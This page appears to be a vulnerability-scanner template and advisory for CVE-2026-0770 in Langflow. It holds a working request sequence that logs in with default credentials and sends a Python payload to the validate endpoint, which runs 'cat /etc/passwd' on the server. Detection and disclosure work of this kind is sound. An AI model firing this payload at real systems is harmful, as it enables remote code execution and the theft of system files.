Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()
CVE-2026-0770
Verified
Description
Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.
Severity
Critical
CVSS Score
9.8
Exploit Probability
12%
Published Date
February 18, 2026
Template Author
affix
CVE-2026-0770.yaml
id: CVE-2026-0770
info:
name: Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()
author: affix
severity: critical
description: |
Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.
impact: |
Remote attackers can execute arbitrary code as root, leading to full system compromise.
remediation: |
Update to the latest version of Langflow.
reference:
- https://github.com/affix/CVE-2026-0770-PoC
- https://github.com/langflow-ai/langflow
- https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-0770
epss-score: 0.11859
epss-percentile: 0.93761
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
fofa-query: title="Langflow"
shodan-query: title:"Langflow"
tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev
variables:
username: "langflow"
password: "langflow"
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/v1/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
matchers-condition: and
matchers:
- type: word
words:
- "access_token"
- "token_type"
condition: and
internal: true
- type: word
part: content_type
words:
- "application/json"
internal: true
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: token
part: body
group: 1
internal: true
regex:
- '"access_token"\s*:\s*"([^"]+)"'
- raw:
- |
POST /api/v1/validate/code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"OUTPUT:\\n{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\n )\n):\n pass\n"}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a004730450221009ff17409eef1c1d654476ae31877bb570c52b519c7054811b7aa4a8597bb366802200efd35603ef0b776ae3ada2ea7a930df5e7e77f84c4e608b0e911692df98dea4:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-0770
CWE ID:
cwe-94
Remediation Steps
Update to the latest version of Langflow.